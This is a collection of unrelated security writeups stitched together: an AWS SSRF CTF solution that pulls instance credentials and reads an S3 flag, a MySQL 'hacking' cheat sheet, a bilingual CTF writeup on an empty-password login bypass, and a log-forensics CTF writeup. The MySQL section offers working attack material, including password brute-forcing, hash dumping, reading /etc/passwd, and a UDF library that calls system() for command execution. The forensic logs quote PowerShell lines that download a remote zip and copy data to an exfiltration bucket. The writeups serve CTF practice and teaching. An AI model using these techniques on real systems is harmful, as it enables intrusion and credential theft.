The clue mentioned AWS and SSRF. [Payload All the Things](https://github.com/swisskyrepo/PayloadsAllTheThings) has a nice list of suggestions for [AWS SSRF](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#ssrf-url-for-aws-bucket).
The idea here is that we'll provide an internal URL that contains AWS management info, and the server side code will request that URL on our behalf and return us the response. Since the request is being performed from the server side within the internal network, it is permitted.
The suggestion is to start by trying to retrieve `http://instance-data/latest/meta-data/` (or `http://169.254.169.254/latest/meta-data/hostname` which should point to the same location an uses the AWS internal IP address instead).
```console
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# curl 'http://www.vulnet.zone/avatarUpload.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"category":"Open this select menu","company":"","textareaDetails":"","report":"","txtUrl":"http://instance-data/latest/meta-data/"}' --compressed --insecure && echo
{"status":"succeeded","message":"ami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping\/\nevents\/\nhibernation\/\nhostname\niam\/\nidentity-credentials\/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics\/\nnetwork\/\nplacement\/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys\/\nreservation-id\nsecurity-groups\nservices\/"}
```
We got a list of available endpoints! For example, we can request the `hostname`:
```console
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# curl 'http://www.vulnet.zone/avatarUpload.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"category":"Open this select menu","company":"","textareaDetails":"","report":"","txtUrl":"http://instance-data/latest/meta-data/hostname"}' --compressed --insecure && echo
{"status":"succeeded","message":"ip-172-31-30-9.eu-central-1.compute.internal"}
```
Let's move on to a few more interesting endpoints:
```console
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# curl 'http://www.vulnet.zone/avatarUpload.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"category":"Open this select menu","company":"","textareaDetails":"","report":"","txtUrl":"http://instance-data/latest/meta-data/iam/security-credentials/"}' --compressed --insecure && echo
{"status":"succeeded","message":"ctfS3"}
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# curl 'http://www.vulnet.zone/avatarUpload.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"category":"Open this select menu","company":"","textareaDetails":"","report":"","txtUrl":"http://instance-data/latest/meta-data/iam/security-credentials/ctfS3"}' --compressed --insecure && echo
{"status":"succeeded","message":"{\n \"Code\" : \"Success\",\n \"LastUpdated\" : \"2020-12-18T17:58:10Z\",\n \"Type\" : \"AWS-HMAC\",\n \"AccessKeyId\" : \"ASIA4QNOV7PVEKWHIZVT\",\n \"SecretAccessKey\" : \"BJGGEB536TnXZTuiEoM2+Ym2djQvwprT1u44PyDT\",\n \"Token\" : \"IQoJb3JpZ2luX2VjEKL\/\/\/\/\/\/\/\/\/\/wEaDGV1LWNlbnRyYWwtMSJHMEUCIQDFlDUEvUa6slxlkKKn8zbLkN\/j1f7lKJdXJ03PQ5T5ZwIgDYlshciO8nyfnmjUfFy4I2+rEuPHBexsvfBo3MlCdgQqugMISxAAGgw4NTk4OTY2NzUzMDYiDFKPV7D\/QmnqFWRYpiqXAypJf6TksPZXImVpIUU0Yj0uJhNN0o\/HcO8hfQ4BXuCvpm1DOiVsH6VXMxgNdpGTWr8CjNpEt\/eYwSk6MAVPOtjg5+lY2qoGJrUuxwhiKe+BquVM17h0giZ18h1B4ozDGkfxA\/vGSJa\/qBznF0yEpLE+fJoesGe4ZpATs8oUN94\/XkrL\/eYzXsW3ZD1ZX66QzmSFHhgTJc24d9bezGjR32fEJD\/dBm9La+7wpc4+jrXCmt6yxHox0gCuGrSagcJfPh9pVYneM81fnD\/S7Kicb1Pw8MiChfqW0hao1twr4wMgp9N3JlYQNK3fZKbMU\/qlvoKTz8D0Joa4elSp4rU4reVUsujCXVE95PDyj4LD3IDXHF5SAd\/23\/M\/IucMRyeWlRE4pCtry68ENpojXr0tdyyVs8XSkgCGgup\/BqDTkBnEBD+V5hOIrHJv5rJ6KpaxEZG0ozUJdaUpCseSSKK4Jn7liqVqF5EzOOXelqTAACcJmILKQHqke8n3imNs72oi8tu1N+oqbFp60K9whtLDm0JZSavpmRDkMODb8\/4FOusBHFYZCuxMUmotN9Dkzp4InT7kJdKZ\/kr61SMhU4hj7vTdjhcRHItO2P+jR7+38kQLDR4O1HR1XkHzLMwDvDwZULeOl6afS1ZpbO8XpePHaaLnEqJeZ8BpnfwBEiylK3HGzGAP7WcAgFlMO9AEqoGnnbUBFcL+IYnZ3JFPy0sGsrH4cOC8Gxy2icQKrGpdIyMqGjb2hZsSc1S4njGpK0AlCEKrAjzpr6SzPSwLnFtAJpztHbgb9Z7D2jdsjugQYdFwi6\/9GKOI\/slKqt5\/vb7dLnSyeAY+jTaoveUZf6D5yM8PCKrvw5\/k+A1XJw==\",\n \"Expiration\" : \"2020-12-19T00:18:57Z\"\n}"}
```
We got the application's security credentials! We can now use them to view the AWS S3 bucket and search for the flag.
```console
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# export AWS_ACCESS_KEY_ID=ASIA4QNOV7PVEKWHIZVT
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# export AWS_SECRET_ACCESS_KEY=BJGGEB536TnXZTuiEoM2+Ym2djQvwprT1u44PyDT
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEKL//////////wEaDGV1LWNlbnRyYWwtMSJHMEUCIQDFlDUEvUa6slxlkKKn8zbLkN/j1f7lKJdXJ03PQ5T5ZwIgDYlshciO8nyfnmjUfFy4I2+rEuPHBexsvfBo3MlCdgQqugMISxAAGgw4NTk4OTY2NzUzMDYiDFKPV7D/QmnqFWRYpiqXAypJf6TksPZXImVpIUU0Yj0uJhNN0o/HcO8hfQ4BXuCvpm1DOiVsH6VXMxgNdpGTWr8CjNpEt/eYwSk6MAVPOtjg5+lY2qoGJrUuxwhiKe+BquVM17h0giZ18h1B4ozDGkfxA/vGSJa/qBznF0yEpLE+fJoesGe4ZpATs8oUN94/XkrL/eYzXsW3ZD1ZX66QzmSFHhgTJc24d9bezGjR32fEJD/dBm9La+7wpc4+jrXCmt6yxHox0gCuGrSagcJfPh9pVYneM81fnD/S7Kicb1Pw8MiChfqW0hao1twr4wMgp9N3JlYQNK3fZKbMU/qlvoKTz8D0Joa4elSp4rU4reVUsujCXVE95PDyj4LD3IDXHF5SAd/23/M/IucMRyeWlRE4pCtry68ENpojXr0tdyyVs8XSkgCGgup/BqDTkBnEBD+V5hOIrHJv5rJ6KpaxEZG0ozUJdaUpCseSSKK4Jn7liqVqF5EzOOXelqTAACcJmILKQHqke8n3imNs72oi8tu1N+oqbFp60K9whtLDm0JZSavpmRDkMODb8/4FOusBHFYZCuxMUmotN9Dkzp4InT7kJdKZ/kr61SMhU4hj7vTdjhcRHItO2P+jR7+38kQLDR4O1HR1XkHzLMwDvDwZULeOl6afS1ZpbO8XpePHaaLnEqJeZ8BpnfwBEiylK3HGzGAP7WcAgFlMO9AEqoGnnbUBFcL+IYnZ3JFPy0sGsrH4cOC8Gxy2icQKrGpdIyMqGjb2hZsSc1S4njGpK0AlCEKrAjzpr6SzPSwLnFtAJpztHbgb9Z7D2jdsjugQYdFwi6/9GKOI/slKqt5/vb7dLnSyeAY+jTaoveUZf6D5yM8PCKrvw5/k+A1XJw==
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# aws s3 ls --recursive
2020-11-25 12:29:32 1mp32v4c7f
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# aws s3 ls --recursive 1mp32v4c7f
2020-11-26 11:56:56 45 flag5.txt
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# aws s3 cp s3://1mp32v4c7f/flag5.txt .
download: s3://1mp32v4c7f/flag5.txt to ./flag5.txt
root@kali:/media/sf_CTFs/technion/Bleeding_cloud# cat flag5.txt
cstechnion{docx_are_xml_too_flag6_in_passwd}
```
The flag is a hint for the [next challenge](Document_with_secrets.md).
|
sec-knowleage
|
**Authors**: < [nixawk](https://github.com/nixawk) >
----
# Mysql Hacking
|**Command**|**Description**|
|:----------|:--------------|
|select @@version|Show mysql server version|
|select version()|Show mysql server version|
|SHOW STATUS|Show mysql server status information|
|show VARIABLES|Show all mysql server variables|
|select user()|Query current database user|
|SHOW VARIABLES LIKE '%datadir%'|Show all variables which include datadir string|
|select load_file('/etc/passwd');|Load file into database|
|select 0xnnnnnn... INTO **OUTFILE** '/path/to/filename'|Write data into a text file.|
|select 0xnnnnnn... INTO **DUMPFILE** '/path/to/filename'|Write data into a binary file.|
## How to install mysql server ?
Lab: ubuntu / debian
```
$ sudo apt-get install mysql-server
$ sudo systemctl start service
```
Edit `/etc/mysql/mysql.conf.d/mysqld.cnf`, and change the **bind-address**.
```
bind-address = 0.0.0.0
```
## Allow remote access
```
root@sh:~# ss -ant | grep ":3306"
LISTEN 0 80 *:3306 *:*
root@sh:~# mysql -h 10.0.250.71 -uroot -p
Enter password:
ERROR 1130 (HY000): Host '10.0.250.71' is not allowed to connect to this MySQL server
```
Create a sql file called **adduser.sql**, and execute the command: `mysql -h 127.0.0.1 -u root -p mysql < adduser.sql`
```
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;
```
If successful, you can access the mysql server remotely.
```
root@sh:~# mysql -h 10.0.250.71 -u mysqlsec -p mysql
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.6.30-1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> select Host,User,Password from `mysql`.`user` where User='mysqlsec';
+-----------+----------+-------------------------------------------+
| Host | User | Password |
+-----------+----------+-------------------------------------------+
| localhost | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| % | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
2 rows in set (0.00 sec)
```
## How to crack mysql ?
```
msf auxiliary(mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /tmp/pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.250.71 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
THREADS 10 yes The number of concurrent threads
USERNAME mysqlsec no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(mysql_login) > run
[*] 10.0.250.71:3306 - 10.0.250.71:3306 - Found remote MySQL version 5.6.30
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:AzVJmX (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:j1Uyj3 (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:root (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:mysql (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[+] 10.0.250.71:3306 - MYSQL - Success: 'mysqlsec:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## How to dump mysql hash ?
```
msf auxiliary(mysql_hashdump) > show options
Module options (auxiliary/scanner/mysql/mysql_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password no The password for the specified username
RHOSTS 10.0.250.71 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME mysqlsec no The username to authenticate as
msf auxiliary(mysql_hashdump) > run
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: debian-sys-maint:*8E970943FBFAA7CF6A11A55677E8050B725D9919
[+] 10.0.250.71:3306 - Saving HashString as Loot: phpmyadmin:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: freepbxuser:*433D16EECA646A6CCF8F024AD8CDDC070C6791C1
[+] 10.0.250.71:3306 - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## UDF Privilege Escalation
```
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
```
```
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Compile the above code into a so library file. Next, please translate the so as a hex string:
```
#!/usr/bin/python
# -*- coding: utf8 -*-
# https://www.exploit-db.com/exploits/1518/
# How to upload UDF DLL into mysql server ?
# show VARIABLES;
# select @@plugin_dir;
# SELECT CHAR (...) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# SELECT 0xnnnnn INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# drop function if exists do_system
# create function do_system returns integer soname 'lib_mysqludf_sys.so';
# select sys_exec('id');
# How to Compile UDF Dll ?
# gcc -g -c raptor_udf2.c
# gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
import sys
import binascii
def convert(filename):
with open(filename) as f:
print(binascii.hexlify(f.read()))
if __name__ == '__main__':
if len(sys.argv) != 2:
print("python {} /path/to/lib_mysqludf_sys.so".format(sys.argv[0]))
else:
convert(sys.argv[1])
```
Please try to upload so file, and Using MySQL User Defined Functions called **do_system**.
```
mysql > select @@plugin_dir;
mysql > SELECT 0x7f45........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
mysql > drop function if exists do_system
mysql > create function do_system returns integer soname 'lib_mysqludf_sys.so';
mysql > select do_system('id > /tmp/result.log');
mysql > select load_file('/tmp/result.log');
```
## Mof Privilege Escalation
If mysql is on windows, please try:
```
msf >
use exploit/windows/mysql/mysql_mof
use exploit/windows/mysql/mysql_start_up
use exploit/windows/mysql/scrutinizer_upload_exec
use exploit/windows/mysql/mysql_payload
use exploit/windows/mysql/mysql_yassl_hello
```
If enough privilege, you can also write data into os files (boot, cron, and so on).
# Links
1. http://www.mysqltutorial.org/mysql-cheat-sheet.aspx
2. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
3. https://www.rapid7.com/db/modules/exploit/windows/mysql/mysql_mof
4. http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
|
sec-knowleage
|
## Lawn Care Simulator (web, 200p, 450 solves)
`http://54.165.252.74:8089/`
### PL Version
`for ENG version scroll down`
Zadanie polegało na zalogowaniu się do konta premium w internetowym symulatorze hodowania trawy.
Standardowe próby wykonania SQL Injection na polach formularza nie przyniosły efektów, ale pozwoliły zaobserwować, że dane wpisane w pole z hasłem są hashowane po stronie przeglądarki jeszcze przed wysłaniem.

Zajęliśmy się więc podmienianiem parametrów w formularzu po operacji hashowania. Co prawda pole z hasłem po stronie przeglądarki było sprawdzane aby upewnić się że nie jest puste, ale za pomocą Tamper Data sprawdziliśmy co się stanie jeśli wyślemy puste hasło dla losowego użytkownika...

Tym samym zupełnie przypadkiem ominęliśmy praktycznie wszystkie pułapki zastawione przez autorów zadania i nie musieliśmy poświęcać cennego czasu na analizę kodu strony (do którego można było uzyskać dostęp poprzez link w źródle strony). Późniejsza analiza pozwoliła stwierdzić, że przypadkiem wykorzystaliśmy faktyczną lukę w skrypcie, nie tą zamierzoną przez autorów zadania :)
### ENG Version
The task was to log-in on a premium account in an internet lawn care simulator.
Standard approach with SQLInjection on form fields yielded no results, however we noticed that data from password field are hashed on webbrowser side before sending to the server.

Therefore we tried substituting fields values after the hashing operation. While the client-side verification was checking for empty password field, we could easily change the request parameters with Tampter Data and we checked what will happen if we send empty password for a random user...

By doing this we basically went around all the traps set-up by authors of this task and we didn't have to spend out precious time on the analysis of PHP code of this website (which could be accessed by following a link in the source). Later analysis revealed that we exploited an actual vulnerability of the script, not the one the authors intended us to use :)
|
sec-knowleage
|
# Episode 2: Challenge 2
## Description
> After recent attacks, we’ve developed a search tool. Search the logs and discover what the attackers were after. HINT: Use the tool to be forensic in your search.
An archive file was attached.
## Solution
The archive contained two files. First, a README with the following storyline and some additional instructions to setup a docker.
```
Storyline:
Detectorsprotectors.biz is a cybersecurity company who is heavily invested in building software protections that protects flux capacitors on fire protection hardware.
A recent junior hire was tasked with deploying a kiosk machine at the reception to enable guests to quickly check-in. Unfortunately, one of the applications on the kiosk machine was outdated and lacked key patches.
A malicious actor has managed to compromise the machine.
Your task is to follow the log file provided, uncover the actions performed and find the flag.
We suspect that a number of reconnaissance activities have taken place using powershell.exe. The attacker probably made use of a RAT and established an exfiltration channel.
```
And second, a large CSV file:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP002/Challenge_02]
└─$ wc -l Episode2-Ch2/CTF\ CSV-EASY-final.csv
4568 Episode2-Ch2/CTF CSV-EASY-final.csv
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP002/Challenge_02]
└─$ head Episode2-Ch2/CTF\ CSV-EASY-final.csv
datetime,timestamp_desc,action,message,metadata_event_type,vendor_name,product_name,metadata_product_log_id,metadata_product_event_type,principal_user,principal_host,target_user,target_executed_command,security_result_summary
2022-06-24 09:09:48+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Users\Public\svchost.exe,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-Sysmon,6650,1,tech01,kiosk.detectorsprotectors.biz,null,cmd.exe /C net view \\#{remote.host.fqdn} /all
2022-06-24 09:11:48+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Users\Public\svchost.exe,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-Sysmon,6650,1,tech01,kiosk.detectorsprotectors.biz,null,cmd.exe /C tasklist
2022-06-24 10:10:48+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\system32\basic_scanner.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,6650,4103,tech01,kiosk.detectorsprotectors.biz,null,powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,Executing Pipeline
2022-06-24 10:11:44+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\system32\basic_scanner.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,10978,4103,tech01,kiosk.detectorsprotectors.biz,null,powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,Executing Pipeline
2022-06-24 10:10:39+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\system32\basic_scanner.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,6166,4103,tech01,kiosk.detectorsprotectors.biz,null,powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,Executing Pipeline
2022-06-24 10:10:47+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\system32\basic_scanner.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,6583,4103,tech01,kiosk.detectorsprotectors.biz,null,powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,Executing Pipeline
2022-06-24 10:10:22+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,4290,4103,tech01,kiosk.detectorsprotectors.biz,null,powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,Executing Pipeline
2022-06-24 10:10:58+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\system32\basic_scanner.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,7201,4103,tech01,kiosk.detectorsprotectors.biz,null,powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,Executing Pipeline
2022-06-24 10:10:33+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\system32\basic_scanner.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,5568,4103,tech01,kiosk.detectorsprotectors.biz,null,powershell.exe -ExecutionPolicy Bypass -C Import-Module ./basic_scanner.ps1;$ports=@(Top10,Executing Pipeline
```
It was possible to find the flag by simply grepping for `http`:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP002/Challenge_02]
└─$ cat Episode2-Ch2/CTF\ CSV-EASY-final.csv | grep "http"
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
}/$RemoteName;",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13639,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
}/$RemoteName;",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13622,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
2022-06-24 10:26:38+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13510,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",Executing Pipeline
2022-06-24 10:26:38+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13499,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",Executing Pipeline
2022-06-24 10:26:38+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13491,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",Executing Pipeline
